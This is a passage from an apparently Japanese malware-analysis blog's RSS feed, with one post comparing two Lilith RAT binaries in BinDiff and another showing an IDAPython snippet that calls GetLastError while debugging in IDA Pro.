1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;利用開始&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;今回の比較に用いたバイナリは、Open sourceのRATであるLilith検体２つです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-Tick-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf&quot;&gt;攻撃者グループTickが使用したとされるバイナリ&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;SHA2: 5e4a190f8f4fc8800cf348cdc0e1ddc674215b02d1ef9b9a9e12605a3e0315cf&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/werkamsus/Lilith&quot;&gt;ソースコード&lt;/a&gt;からコンパイルしたバイナリ&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
上記バイナリからIDA proで.idbファイルを作成し、比較を行います。
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200228202630.png&quot; alt=&quot;idb選択画面&quot; title=&quot;idb選択画面&quot;&gt;&lt;/p&gt;
&lt;br&gt;
同じソースコードからコンパイルしているはずなのに、なんと、Simirality(類似度)は0.06でした。
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200228201400.png&quot; alt=&quot;LilithのBinDiff(overview)&quot; title=&quot;LilithのBinDiff(overview)&quot;&gt;&lt;/p&gt;
&lt;br&gt;
Mached function画面には同一と推測される関数が表示されます。
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200228221001.png&quot; alt=&quot;BinDiff(Mached function)&quot; title=&quot;BinDiff(Mached function)&quot;&gt;&lt;/p&gt;
&lt;br&gt;
ためしにConfidenceが0.91の関数を選んでみると、関数内部のCall treeの構造が同一であることが確認できた。
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200228222304.png&quot; alt=&quot;BinDiff(関数の比較)&quot; title=&quot;BinDiff(関数の比較)&quot;&gt;&lt;/p&gt;
&lt;br&gt;
ピンチアウトして拡大してみるとアセンブリの中身まで確認できます。
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200228224126.png&quot; alt=&quot;BinDiff(関数の比較 拡大)&quot; title=&quot;BinDiff(関数の比較 拡大)&quot;&gt;&lt;/p&gt;
&lt;p&gt;この関数はSimilarity=0.86, Confidence=0.91と高確度の一致ではありますが、Call treeの構造が似ているだけで中身が全く異なる関数であることが分かりました。つまり、&lt;span style=&quot;color: Crimson; &quot;&gt;Confidenceが高い関数が同士が類似機能を持つとは一概には言えない&lt;/span&gt;ようです。&lt;/p&gt;
&lt;br&gt;
Similarityが高いのはCall treeが類似していることに起因していると思われます。 他の関数を確認してみると、&lt;span style=&quot;color: Crimson; &quot;&gt;Confidenceが高くSimilarityが低い関数同士は機能が類似している傾向がある&lt;/span&gt;ようです。これら関数の場合は赤枠で示すようにどちらも書込みの機能を有しています。
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200228230353.png&quot; alt=&quot;BinDiff(関数比較 Low similarity, Low confidence)&quot; title=&quot;BinDiff(関数比較 Low similarity, Low confidence)&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;まとめ&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%81%BE%E3%81%A8%E3%82%81&quot; aria-label=&quot;まとめ permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;まとめ&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;今回BinDiffを使用したことで以下の2点が分かりました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同一ソースファイルからコンパイルしたバイナリでもアセンブラレベルで大きく構造が変わり得る&lt;/li&gt;
&lt;li&gt;Low SimilarityかつHigh Confidenceの関数は類似機能を持つ可能性が高い⇒解析済みのマルウェアとその亜種とを比較し、共通の機能(関数)を洗い出すためにも有効&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[IDA ProでWin32API実行失敗時のエラーを取得する]]></title><description><![CDATA[IDA Proでバイナリデバッグ中にでいつでも簡単にGetLastError()を呼び出せる方法を紹介します。]]></description><link>https://binarygenes.com/posts/2020-03-07-getlasterror-by-idapython</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-07-getlasterror-by-idapython</guid><pubDate>Sat, 07 Mar 2020 07:43:20 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/media/getlasterror/createremotethreadfailed.png&quot; alt=&quot;LastError表示画面&quot; title=&quot;LastError表示画面&quot;&gt;&lt;/p&gt;
&lt;p&gt;IDA Proを使ってバイナリ解析を行っていると、Win32APIが失敗した理由を確認したくなる時ってありますよね。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;CreateRemoteThread();&lt;/code&gt;のようなWinAPI32関数は実行失敗時には0を返し、失敗の理由は&lt;code class=&quot;language-text&quot;&gt;GetLastError();&lt;/code&gt;を呼び出すことで確認ができます。&lt;/p&gt;
&lt;p&gt;ただ、マルウェア等のプログラムでは関数の呼び出し失敗時に丁寧に&lt;code class=&quot;language-text&quot;&gt;GetLastError();&lt;/code&gt;が呼ばれる仕様になっていないことが多いため、エラーの理由が分からないときもあります。&lt;/p&gt;
&lt;p&gt;そんなとき、以下の&lt;strong&gt;IDAPythonで簡単にGetLastError()を呼び出し&lt;/strong&gt;てエラーを確認することができます。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;getlasterror呼び出しidapythonスクリプト&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#getlasterror%E5%91%BC%E3%81%B3%E5%87%BA%E3%81%97idapython%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88&quot; aria-label=&quot;getlasterror呼び出しidapythonスクリプト permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;GetLastError()呼び出しIDAPythonスクリプト&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href=&quot;https://www.hexblog.com/?p=113&quot;&gt;Hex blog記事&lt;/a&gt;よりPythonのコードを引用しました。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;GetLastError()呼び出し&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;getlasterror &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Appcall&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;proto&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;kernel32_GetLastError&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DWORD __stdcall GetLastError();&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lasterror=&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; getlasterror&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これをIDA Pro画面最下部にて実行すると下記の様に&lt;strong&gt;lasterror&lt;/strong&gt;が5であることが確認できます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/getlasterror/idapythoncallgetlasterror.png&quot; alt=&quot;IDAPython実行画面&quot; title=&quot;IDAPython実行画面&quot;&gt;&lt;/p&gt;
&lt;p&gt;MSDNでエラーコード5が ERROR_ACCESS_DENIED であることを確認できます。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes—0-499-&lt;/a&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;valueerror-could-not-parse-typeエラー回避&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#valueerror-could-not-parse-type%E3%82%A8%E3%83%A9%E3%83%BC%E5%9B%9E%E9%81%BF&quot; aria-label=&quot;valueerror could not parse typeエラー回避 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;ValueError: Could not parse typeエラー回避&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;解析のタイミングによっては、上記Pythonスクリプト実行時に&lt;code class=&quot;language-text&quot;&gt;ValueError: Could not parse type&lt;/code&gt;が返りLastErrorが取得できない場合があると思います。&lt;/p&gt;
&lt;p&gt;これは、DWORDの型をIDAPythonでパース出来ていないことが理由であろうと思います。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;Appcallエラー&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;Traceback &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;most recent call last&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  File &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;string&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; line &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;module&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  File &lt;span class=&quot;token string&quot;&gt;&quot;C:\Program Files\IDA Pro 7.3\python\ida_idd.py&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; line &lt;span class=&quot;token number&quot;&gt;2007&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; proto
    tif &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Appcall__&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__typedecl_or_tinfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;proto_or_tinfo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; flags&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  File &lt;span class=&quot;token string&quot;&gt;&quot;C:\Program Files\IDA Pro 7.3\python\ida_idd.py&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; line &lt;span class=&quot;token number&quot;&gt;1984&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; __typedecl_or_tinfo
    &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; ValueError&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Could not parse type: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; typedecl_or_tinfo
ValueError&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Could &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; parse &lt;span class=&quot;token builtin&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; DWORD __stdcall GetLastError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;以下の様に、元のスクリプトのDWORDをunsigned longに書き換えてあげると、エラーなしでLastErrorを取得することが出来ます。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;エラー回避版GetLastError()呼び出し&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;getlasterror &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Appcall&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;proto&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;kernel32_GetLastError&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unsigned long __stdcall GetLastError();&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lasterror=&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; getlasterror&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded></item></channel></rss>